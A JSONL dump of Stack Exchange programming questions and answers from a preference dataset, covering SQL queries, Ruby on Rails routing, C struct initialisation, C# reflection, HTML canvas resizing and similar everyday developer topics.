"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.166621"}
{"id": "hf_554fce0c4af3", "question": "<p>I have a table of time-series data of which I need to find all columns that contain at least one non-null value within a given time period. So far I am using the following query:</p>\n\n<pre><code>select max(field1),max(field2),max(field3),... \n   from series where t_stamp between x and y\n</code></pre>\n\n<p>Afterwards I check each field of the result if it contains a non-null value. </p>\n\n<p>The table has around 70 columns and a time period can contain >100k entries.</p>\n\n<p>I wonder if there if there is a faster way to do this (using only standard sql). </p>\n\n<p>EDIT:\nUnfortunately, refactoring the table design is not an option for me.</p>\n", "question_body": "", "answer": "Edit: I think I misread the question... this will give you all the\nrows\nwith a non-null value.  I'll leave it here in case it helps someone but it's not the answer to your question.  Thanks @Pax\nI think you want to use\n```\nCOALESCE\n```\n:\n```\nSELECT ... WHERE COALESCE(fild1, field2, field3) IS NOT NULL\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.217182"}
{"id": "hf_d7b6750b0c75", "question": "<p>What does ::Base part mean in Person &lt; ActiveRecord::Base class declaration?\nI'm new to ruby and from what I've gathered so far, Person &lt; ActiveRecord should be used.\nThank you.</p>\n", "question_body": "", "answer": "in Ruby,\n```\n::\n```\naccesses static class or module constants.\n```\nActiveRecord::Base\n```\nindicates that the\n```\nActiveRecord\n```\nclass or module has a static inner class called\n```\nBase\n```\nthat you're extending.\nEdit:\nas Mike points out, in this case\n```\nActiveRecord\n```\nis a module...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.321938"}
{"id": "hf_b2ea3c9133c0", "question": "<p>I want to make a schedule for many pastors. The conditions are:</p>\n\n<ol>\n<li>Every month, each pastor must must go to another church, </li>\n<li>The pastor must not go to same church where he came</li>\n<li>In 1 year he must go to 12 different churches</li>\n<li>There is 13 churches and 13 pastors and every church accepts only 1 pastor every month</li>\n</ol>\n\n<p>I can't use random(1 to 12) because there is a chance the pastor could go to the same church (8,3% chance he goes to the same church).</p>\n\n<p>I want to make the chance small (around 3% or less) that he goes to same church.</p>\n", "question_body": "", "answer": "Your conditions don't require that the next church for a given pastor be randomly selected. Couldn't you just iterate through the church list?\nThat is, assign each pastor a number, 0-12. Assign each church a number, 0-12. The first month:\nMonth 0:\npastor-0 --> church-0\npastor-1 --> church-1\npastor-2 --> church-2\n...\npastor-n --> church-n\nThe next month, just increment one of the counters (with wrap-around)\nMonth 1:\npastor-0 --> church-1\npastor-1 --> church-2\npastor-2 --> church-3\n...\npastor-n --> church-0\nThen repeat for the remaining months:\nMonth 3:\npastor-0 --> church-2\npastor-1 --> church-3\npastor-2 --> church-4\n...\npastor-(n-1) --> church-0\npastor-n --> church-1\nThere's a very simple loop to all this (O(n)). If it's confusing to you, I suggest trying the loop on paper with say n=3.\nIf the randomness is a requirement then please update your question.\nEDIT BY PAX\nI'm deleting my answer and up-voting this one since it's O(n) and the expansion of mine to cater for the edits would have been at least O(n^2).\nYou can still have randomness by making the pastor-0 through pastor-N values indexes into an array of pastors that has been randomly sorted so that makes this solution at least as good as mine.\nEND EDIT BY PAX", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.357053"}
{"id": "hf_25daae4606df", "question": "<p>I'm using the following query, but I currently have to enter a value in every parameter for the query to work. Is there a way of making the parameters optional, so that 1 or more values will return a result?</p>\n\n<pre><code>SELECT * FROM film\nWHERE day LIKE '%day%'\nAND month LIKE '%month%'\nAND year LIKE '%year%'\n</code></pre>\n\n<hr>\n\n<p>something like</p>\n\n<pre><code> function queryData(year,month,day) \n\n declare Y\n\n if year == nothing\n     Y = '%'\n else\n     Y = '%' + year + '%'\n\n declare M\n\n if month == nothing\n     M = '%'\n else\n     M = '%' + month + '%'\n\n declare D\n\n if day == nothing\n     D = '%'\n else\n     D = '%' + day + '%'\n\n return result of :\n\n SELECT * FROM film\n WHERE day LIKE D\n OR month LIKE M\n OR year LIKE Y\n</code></pre>\n", "question_body": "", "answer": "```\n```\nSELECT * FROM film\nWHERE day LIKE '%day%'\nOR month LIKE '%month%'\nOR year LIKE '%year%'\n```\n```\nYou will still be providing all three parameters, but it won't matter if they are blank or NULL, matches will still return from the ones that aren't blank.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.382020"}
{"id": "hf_df04610e7cd8", "question": "<p>I'm using an SqlCommand object to insert a record into a table with an autogenerated primary key. How can I write the command text so that I get the newly created ID when I use the ExecuteScalar() method?</p>\n", "question_body": "", "answer": "```\n```\ninsert into Yourtable()  \nvalues()  \nSELECT SCOPE_IDENTITY()\n```\n```\nI just ran a test and verified that the semi-colons are optional using SQL Server 2005 SP2, and .Net 3.5", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.418355"}
{"id": "hf_acd499076a77", "question": "<p>I just had some basic php questions to further my understanding as I learn, that I could not find easy answers to</p>\n\n<ol>\n<li><p>I have a php ajax application that generates a table of mysql rows. I would like to know if there is a way to get php to generate neat html, as it seems neat enough as I echo it out, but when \"viewing source\" the html is a huge jumbled block with no line breaks or anything. Is there a trick to doing this?</p></li>\n<li><p>What is the best way to limit table output for a mysql database, so only the first 10 records or so are displayed, and there are automatically generated next and previous links to go between records?</p></li>\n<li><p>When outputting information with php from a mysql database, what is the best way to handle booleans? What is the easiest way to display the words \"yes\" or \"no\" or a tick or a cross? edit: I do not mean should I use words or pictures, but rather how to show either in response to a boolean</p></li>\n</ol>\n", "question_body": "", "answer": "You could use the\nPHP Tidy Addon\n. Keep in mind, that filtering the HTML with it uses quite some Server CPU. Alternatively you have to print the line breaks yourself (echo \"\\n\";)\nHowever I suggest, that you leave it as it is. Just consider how many people will benefit from reading the source code vs. how many people will benefit from smaller file sizes if you don't format the HTML nicely.\nYou have to do that manually. There are some helping libraries available on the net. Just\nGoogle it\n.\nThat's up to you to decide and depends on the application. Keep your users needs in mind.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.446556"}
{"id": "hf_025e6c9db34e", "question": "<p>I had created the xml document with xml version=\"1.0\".</p>\n\n<p>In that document I need to use the greater than symbol <code>&gt;</code> and less than symbol <code>&lt;</code>.</p>\n\n<p>How should I include those symbols? It's not working.</p>\n\n<p><code>&amp;gt;</code> and <code>&amp;lt;</code> are not working for me.</p>\n\n<p>Is there any special encoder for this?</p>\n", "question_body": "", "answer": "Use\n```\n&gt;\n```\nand\n```\n&lt;\n```\nfor 'greater-than' and 'less-than' respectively", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.470048"}
{"id": "hf_b1bccfc6e95b", "question": "<p>I wish to display a list of letters from a through z on a form.\nEach letter needs to be clickable with that value being passed as a click argument.\nAside from creating 26 letters and using the click event of each letter does anyone know of a quick way to do this?\nI know how to load dynamic controls etc and how to do it that way. Just wondering if anyone knew of a clever way to do this?</p>\n\n<p>Cheers</p>\n", "question_body": "", "answer": "This is the \"dynamic way\" I would do it in. I know you asked for other clever ways to do it in but I think this is the most accepted way to do it.\nThis will produce those buttons and add a click-handler that takes the button as sender. It will also see to that the buttons location wraps if outside of the forms width.\n```\n```\nPublic Class Form1\n\n    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load\n    Dim ButtonSize As New Size(20, 20)\n    Dim ButtonLocation As New Point(10, 20)\n\n    For p As Integer = Asc(\"A\") To Asc(\"Z\")\n        Dim newButton As New Button            \n        If ButtonLocation.X + ButtonSize.Width > Me.Width Then\n            ButtonLocation.X = 10\n            ButtonLocation.Y += ButtonSize.Height\n        End If\n        newButton.Size = ButtonSize\n        newButton.Location = ButtonLocation\n        newButton.Text = Chr(p)\n        ButtonLocation.X += newButton.Width + 5\n        AddHandler newButton.Click, AddressOf ButtonClicked\n        Me.Controls.Add(newButton)\n    Next\n\n    End Sub\n\n    Sub ButtonClicked(ByVal sender As Object, ByVal e As System.EventArgs)\n        MsgBox(CType(sender, Button).Text)\n    End Sub\nEnd Class\n```\n```\nalt text http://img235.imageshack.us/img235/2267/testoa6.jpg", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.514911"}
{"id": "hf_e4063a30ce83", "question": "<p>I tried to write a <code>TransformMesh</code> function. The function accepts a <code>Mesh</code> object and a <code>Matrix</code> object. The idea is to transform the mesh using the matrix. To do this, I locked the vertex buffer, and called Vector3::TransformCoordinate on each vertex. It did <em>not</em> produce expected results. The resulting mesh was unrecognizable.</p>\n\n<p>What am I doing wrong?</p>\n\n<pre><code>// C++/CLI code. My apologies.\nint n = verts-&gt;Length;\nfor(int i = 0; i &lt; n; i++){\n        verts[i].Position = DX::Vector3::TransformCoordinate(verts[i].Position, matrix);\n}\n</code></pre>\n", "question_body": "", "answer": "Without contextual code around what you are doing, it might be hard to know the exact problem. How is the mesh created? How is verts[] read, how is it written? Are you trying to read from a write only vertex buffer?\nMy recommendation would be to try with a very simple translation matrix first and debug the code and see the vertex input and output. See if you receive good data and if it's transformed correctly. If so, the problem is in vertex stride, stream declaration or something else deeper in the DirectX pipeline.\nAs I said, more code would be needed to pinpoint the origin of the problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.550455"}
{"id": "hf_76a11ca3ad9b", "question": "<p>I want to initialize a struct element, split in declaration and initialization. This is what I have:</p>\n\n<pre><code>typedef struct MY_TYPE {\n  bool flag;\n  short int value;\n  double stuff;\n} MY_TYPE;\n\nvoid function(void) {\n  MY_TYPE a;\n  ...\n  a = { true, 15, 0.123 }\n}\n</code></pre>\n\n<p>Is this the way to declare and initialize a local variable of <code>MY_TYPE</code> in accordance with C programming language standards (C89, C90, C99, C11, etc.)? Or is there anything better or at least working?</p>\n\n<p><strong>Update</strong> I ended up having a static initialization element where I set every subelement according to my needs.</p>\n", "question_body": "", "answer": "```\n```\nvoid function(void) {\n  MY_TYPE a;\n  a.flag = true;\n  a.value = 15;\n  a.stuff = 0.123;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.573947"}
{"id": "hf_36082cb5d2d4", "question": "<p>How do I call the correct overloaded function given a reference to an object based on the actual type of the object. For example...</p>\n\n<pre><code>class Test\n{\n    object o1 = new object();\n    object o2 = new string(\"ABCD\");\n    MyToString(o1);\n    MyToString(o2);//I want this to call the second overloaded function\n\n\n    void MyToString(object o)\n    {\n        Console.WriteLine(\"MyToString(object) called.\");\n    }\n\n    void MyToString(string str)\n    {\n        Console.WriteLine(\"MyToString(string) called.\");\n    }\n}\n</code></pre>\n\n<p>what I mean is there a better option than the following?</p>\n\n<pre><code>if(typeof(o) == typeof(string))\n{\n    MyToString((string)o);\n}\nelse\n{\n    MyToString(o);\n}\n</code></pre>\n\n<p>May be this can be done using reflection?</p>\n", "question_body": "", "answer": "Ok as soon as I hit post I remembered this can indeed be done using reflection...\n```\n```\nvar methInfo = typeof(Test).GetMethod(\"MyToString\", new Type[] {o.GetType()});\nmethInfo.Invoke(this, new object[] {o});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.597495"}
{"id": "hf_66aeae076138", "question": "<p>I have the following requirements:</p>\n\n<p>I need a api that works on CE (x86) + .NET Compact Framework to play videos (Similar to CorePlayer API... Just free)?</p>\n\n<p>Is their anything else available or must I use CorePlayer?</p>\n", "question_body": "", "answer": "DirectShow?\nCheck out\nthis page\nfor a starting point.\nProvided that DirectShow is present on your CE, which I don't know...\nEDIT\n: Since you can use DirectShow, I'd like to add a bit.\nAs\nctacke\nnotes, it can be a lot of work if you do everything manually, but it's pretty straightforward if you can use\n```\nIGraphBuilder\n```\n(see the sample I linked above).\nI don't know much about DirectShow versions, but the one included with Windows Mobile 6.0 lacks a splitter for MPEG audio. It means, e.g., that out of the box it won't play .mp3 files unless you wrap them in RIFF headers.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.653484"}
{"id": "hf_da1945b9aec4", "question": "<p>I haven't looked at this in a while, but if I recall correctly both ant and maven still rely on JUnit 3 for unit tests (as of maven 2.09 the default POM file still has JUnit 3.81). </p>\n\n<p>Does it still make sense to stick to JUnit 3 instead of using the latest and greatest? Any good reason I might be missing?</p>\n", "question_body": "", "answer": "Maven has no explicit binding to Junit 3.81. You can switch to any version of junit you want. If you're running java 5 I think you should switch to at least 4.4 Spring 2.5 is not compatible with 4.5.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.712948"}
{"id": "hf_15c60f4608d9", "question": "<p>Does hibernate HQL queries support using select min, max, count and other sql functions?</p>\n\n<p>like:</p>\n\n<p><code>select min(p.age) from person p</code></p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Some aggregate functions are supported: look in the\nmanual", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.736698"}
{"id": "hf_23c7ca05c039", "question": "<p>I'm learning DI, and made my first project recently.</p>\n\n<p>In this project I've implement the repository pattern. I have the interfaces and the concrete implementations. I wonder if is possible to build the implementation of my interfaces as \"plugins\", dlls that my program will load dynamically.</p>\n\n<p>So the program could be improved over time without having to rebuild it, you just place the dll on the \"plugins\" folder, change settings and voilá! </p>\n\n<p>Is this possible? Can Ninject help with this?</p>\n", "question_body": "", "answer": "you can easily do it with normal C# reflection, you don't need any extra technology.\nThere are quite a few examples on the web, e.g.\nhttp://www.codeproject.com/KB/cs/c__plugin_architecture.aspx\nIn general in your main application, you need to load the assembly implementing the plugin, e.g.:\n```\n```\nass = Assembly.Load(name);\n```\n```\nand then you need to create an instance of your plugin. If you know the name of the class it would look like this:\n```\n```\nObjType = ass.GetType(typename);\nIPlugin plugin = (IPlugin)Activator.CreateInstance(ObjType);\n```\n```\nand then you just use it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.771111"}
{"id": "hf_59e54fdb9c93", "question": "<p>In the Windows Mobile world you can create a so-called Today plugin that adds content to the phone's main screen -- the one where you see the number of missed calls, unread sms and upcoming events.  Is it possible to do something similar on the BlackBerry?  I'd like to show some important info there, so that they are as visible and as easily reachable as possible.</p>\n", "question_body": "", "answer": "These things are already displayed on the ribbon depending on the theme.\nIf you want to create/modify a theme, use the Plazmic CDK.\nThere are two ways to put individual icons onto the ribbon (similar to icons like mail, calendar, address book, browser, maps, etc):\nchannel push: easiest if the user is on a BES, now a way to do it for the non-enterprise people on BIS called WebSignals.\nwrite a midp or rimlet j2me application.  Rimlet preferred unless you really need compatibility with other (non-RIM) j2me midp devices.\nOK, there is technically a third way, but I really don't think it's serious: MDS Studio.\nAll the tools are free but you may need a code signing key if you're writing a rimlet using a secure API.\nhttp://na.blackberry.com/eng/support/docs/developers/?userType=21", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.817514"}
{"id": "hf_4dbc2a4c1236", "question": "<p>Is there a simple way to remove a leading zero (as in 01 becoming 1)?</p>\n", "question_body": "", "answer": "```\n```\n$str = \"01\";\necho intval($str);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.857699"}
{"id": "hf_1b7d5c7eea23", "question": "<p>Something I do often if I'm storing a bunch of string values and I want to be able to find them in O(1) time later is:</p>\n\n<pre><code>foreach (String value in someStringCollection)\n{\n    someDictionary.Add(value, String.Empty);\n}\n</code></pre>\n\n<p>This way, I can comfortably perform <strong>constant-time</strong> lookups on these string values later on, such as:</p>\n\n<pre><code>if (someDictionary.containsKey(someKey))\n{\n    // etc\n}\n</code></pre>\n\n<p>However, I feel like I'm cheating by making the value <strong>String.Empty</strong>. Is there a more appropriate .NET Collection I should be using?</p>\n", "question_body": "", "answer": "If you're using .Net 3.5, try\nHashSet\n. If you're not using .Net 3.5, try\nC5\n. Otherwise your current method is ok (bool as @leppie suggests is better, or not as @JonSkeet suggests, dun dun dun!).\n```\n```\nHashSet<string> stringSet = new HashSet<string>(someStringCollection);\n\nif (stringSet.Contains(someString))\n{\n    ...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.916210"}
{"id": "hf_9a2689d068f5", "question": "<p>I'm new to ruby and started to create my *nd toy app.\nI:</p>\n\n<ol>\n<li>Created controller 'questions'</li>\n<li>Created model 'question'</li>\n<li>Created controller action 'new'</li>\n<li>Added 'New.html.erb' file</li>\n</ol>\n\n<p>in erb file I use <code>form_for</code> helper and and <code>new</code> controller action where I instantiate \n<code>@question</code> instance variable.\nWhen I try to run this I get <code>'undefined method: questions_path for #&lt;ActionView::Base:0x5be5e24&gt;'</code> error.\nBelow is my new.html.erb:</p>\n\n<pre><code>&lt;%form_for @question do |f| %&gt;\n   &lt;%=f.text_field :title %&gt;\n&lt;%end%&gt;    \n</code></pre>\n\n<p>Please advise how to fix this and also help me with aliasing this controller action.\nWhat I mean is I would like to type <a href=\"http://mysite/questions/ask\" rel=\"nofollow noreferrer\">http://mysite/questions/ask</a>, instead of /questions/create</p>\n", "question_body": "", "answer": "In\n```\nconfig/routes.rb\n```\nyou will need to add:\n```\n```\nmap.resources :questions\n```\n```\nto fix the undefined method questions_path problem.\nOne way to get\n```\n/questions/ask\n```\nis to modify\n```\nroutes.rb\n```\nlike so:\n```\n```\nmap.ask_question '/questions/ask', :controller => 'questions', :action => 'create'\n```\n```\nwhich will give you\n```\nask_question_path\n```\nwhich you can reference in your code.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.940345"}
{"id": "hf_ee6ba8949408", "question": "<p>I need to change the date format from US (mm/dd/YYYY) to UK (dd/mm/YYYY) on a single database on a SQL server machine.</p>\n\n<p>How can this be done?</p>\n\n<p>I've seen statements that do this for the whole system, and ones that do it for the session, but I can't change the code now as it will have to go through QA again, so I need a quick fix to change the date time format.</p>\n\n<p><strong>Update</strong></p>\n\n<p>I realize that the date time has nothing to do with how SQL Server stores the data, but it does have a lot to do with how it parses queries.</p>\n\n<p>I'm chucking raw data from an XML file into a database. The dates in the XML file are in UK date format.</p>\n", "question_body": "", "answer": "You do realize that format has nothing to do with how SQL Server stores datetime, right?\nYou can use\n```\nset dateformat\n```\nfor each session. There is no setting for database only.\nIf you use parameters for data insert or update or where filtering you won't have any problems with that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:06.976516"}
{"id": "hf_7daf46813443", "question": "<p>I have a TextBox control on my Form. I use the Leave event on the control to process user input. It works fine if the user clicks on some other control on the form, but the even doesn't get fired when the user goes straight to the main menu. Any ideas which event should I use to get it fired everytime?</p>\n", "question_body": "", "answer": "You should use \"Validating\" and \"Validated\" events for checking user's input.\nThen if user go to another control \"A\", and the control \"A\" has property \"CausesValidation\" set to \"true\" ( its default value ) the \"Validating\" and \"Validated\" event will be fired.\nThe menu has \"CausesValidation\" property too.\nEdit:\nSorry, I forgot the \"CausesValidation\" in menu strip is our functionality and not built-in.\nBut the check for validating is pretty simple:\n```\n```\nprivate void menuStrip1_MenuActivate( object sender, EventArgs e ) {\n    bool ret = this.Validate( false );\n    if ( false == ret ) {\n        // user's input is wrong\n    }\n}\n```\n```\nUse any ContainerControl instead of \"this\", if you want check the validation in another control than the \"this\" form. For example in MDI Child window.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.000196"}
{"id": "hf_c3aa15e83307", "question": "<p>I have a canvas element defined statically in the html with a width and height. If I attempt to use JavaScript to resize it dynamically (setting a new width and height - either on the attributes of the canvas or via the style properties) I get the following error in Firefox:</p>\n\n<blockquote>\n  <p>uncaught exception: [Exception... \"Illegal operation on WrappedNative prototype object\"  nsresult: \"0x8057000c (NS_ERROR_XPC_BAD_OP_ON_WN_PROTO)\"  location: \"JS frame :: file:///home/russh/Desktop/test.html :: onclick :: line 1\"  data: no]</p>\n</blockquote>\n\n<p>Is it possible to resize this element or do I have to destroy it and create a new element on the fly? </p>\n", "question_body": "", "answer": "You didn't publish your code, and I suspect you do something wrong. it is possible to change the size by assigning width and height attributes using numbers:\n```\n```\ncanvasNode.width  = 200; // in pixels\ncanvasNode.height = 100; // in pixels\n```\n```\nAt least it works for me. Make sure you don't assign strings (e.g., \"2cm\", \"3in\", or \"2.5px\"), and don't mess with styles.\nActually this is a publicly available knowledge — you can read all about it in\nthe HTML canvas spec\n— it is very small and unusually informative. This is the whole DOM interface:\n```\n```\ninterface HTMLCanvasElement : HTMLElement {\n           attribute unsigned long width;\n           attribute unsigned long height;\n\n  DOMString toDataURL();\n  DOMString toDataURL(in DOMString type, [Variadic] in any args);\n\n  DOMObject getContext(in DOMString contextId);\n};\n```\n```\nAs you can see it defines 2 attributes\n```\nwidth\n```\nand\n```\nheight\n```\n, and both of them are\n```\nunsigned long\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.047139"}
{"id": "hf_b2b8b5e60b0d", "question": "<p>I have been using anonymous namespaces to store local data and functions and wanted to know when the data is initialized?  Is it when the application starts in the same way as static data or is it compiler dependent?  For example:</p>\n\n<pre><code>// foo.cpp\n#include \"foo.h\"\n\nnamespace {\n\nconst int SOME_VALUE = 42;\n\n}\n\nvoid foo::SomeFunc(int n)\n{\n    if (n == SOME_VALUE)\n    {\n        ...\n    }\n}\n</code></pre>\n\n<p>The question arises out of making some code thread-safe.  In the above example I need to be certain that <code>SOME_VALUE</code> is initialized before SomeFunc is called for the first time.</p>\n", "question_body": "", "answer": "In this particular case (a global variable that is const) the variable is \"initialized\" at compile time.\nSOME_VALUE is always equal to 42.\nIn fact, most (all?) compiler will actually compile this as if it was hardcoded :\n```\n```\nvoid foo::SomeFunc(int n)\n{\n    if (n == 42)\n    {\n        ...\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.081753"}
{"id": "hf_c9da0fd775d8", "question": "<p>I'm working on an existing j2ee app and am required to remove some vendor specific method calls from the code.</p>\n\n<p>The daos behind a session facade make calls into the ejb container to get the user's id and password - in order to connect to the database.  The user id and password part of the initialContext used to connect to the server.</p>\n\n<p>I am able to get the userid using <code>sessionContext.getCallerPrincipal()</code></p>\n\n<p>Is there anyway to get to the <code>SECURITY_CREDENTIALS</code> used on the server connection or, is there a way to pass information from the server connection into the ejbs (they are all stateless session beans).</p>\n\n<p>This is a large app with both a rich-client and web front end, and in a perfect world I'd be happy to go back and re-architect the entire solution to use J2EE security etc - but unfortunately, that is not realistic.</p>\n", "question_body": "", "answer": "Normally the Java EE security model will not allow the retrieval of the user password, for security reasons. But it depends on the implementation. Some vendors provide methods to retrieve this kind of information, but if you rely on such implementations, be aware that the portability of the application will be compromised.\nOne common approach is to write a servlet filter to intercept the login request and save a copy of the credentials, to be used later. If your application doesn't use the Java EE security infrastructure, this could be easily implemented. That's because some vendors prevent you from filtering an authentication servlet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.105496"}
{"id": "hf_bbe89ba80071", "question": "<p>I have a simple model called <code>Party</code> with a corresponding table called <code>parties</code>. There's also a controller with all the usual CRUD actions and so on. This model is used in a website and only one admin user is allowed to edit the parties - everyone else is allowed to call GET actions (index, show). Nothing special so far.</p>\n\n<p>Now I need to do the following: The admin would like to choose a single Party at a time for special presentation (the selected Party is showing up on the start page of the application). The most important thing is, that there's only ONE party at time selected.</p>\n\n<p>How would you solve this problem? Boolean Flag in Party model? Save the selection (id of the party) somewhere outside the database? Implement a new model with a has_one relation to Party (seems like overkill to me)?</p>\n\n<p>I hope my explanation is good enough to understand the issue.</p>\n", "question_body": "", "answer": "I would go for the boolean flag and create nested singleton resource (promoted), which I would implement in PartiesController itself (\n```\nset_promoted_party and get_promoted_party actions\n```\n). For these I would create two new routes:\n```\n```\nPUT /parties/promoted/:party_id # to set the promoted party\nGET /parties/promoted/:party_id # to get the promoted_party\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.177952"}
{"id": "hf_f7408decaab7", "question": "<p>How do you specify the Fill Factor when creating an index in MySql?</p>\n", "question_body": "", "answer": "You don't.\nhttp://dev.mysql.com/doc/refman/5.0/en/create-index.html\nHowever, it is an 'accepted' feature request for version 6.x:\nhttp://bugs.mysql.com/bug.php?id=18178\nSo, don't hold your breath on seeing it any time soon.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:07.222693"}
{"id": "hf_a1040b21c19f", "question": "<p>What we are looking for is: while compiling the same configuration, say Release|Win32, is there a way to only do the postbuild steps sometimes. Like, if I am on a dev machine do all the post-build steps or if I am on a build server then don't do them. Or is the only way to accomplish this is by implementing a new configuration?</p>\n\n<p>Commenters: Thanks for the ideas, we do not want to use scripts as they would be one more thing to maintain, and going to MSBuild proj files would be a lot of headache at this point as well. Thanks for trying though.</p>\n", "question_body": "", "answer": "If you want to crack into MSBuild itself (.*proj files are essentially just MSBuild scripts), you can run machine-specific steps post-build:\nhttp://flimflan.com/blog/MachineSpecificTasksWithMSBuild.aspx\n\"This takes advantage of the fact that all environment variables are immediately available as properties in an MSBuild script; and that all Windows machines (that I've worked on recently) have the COMPUTERNAME environment variable set.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, 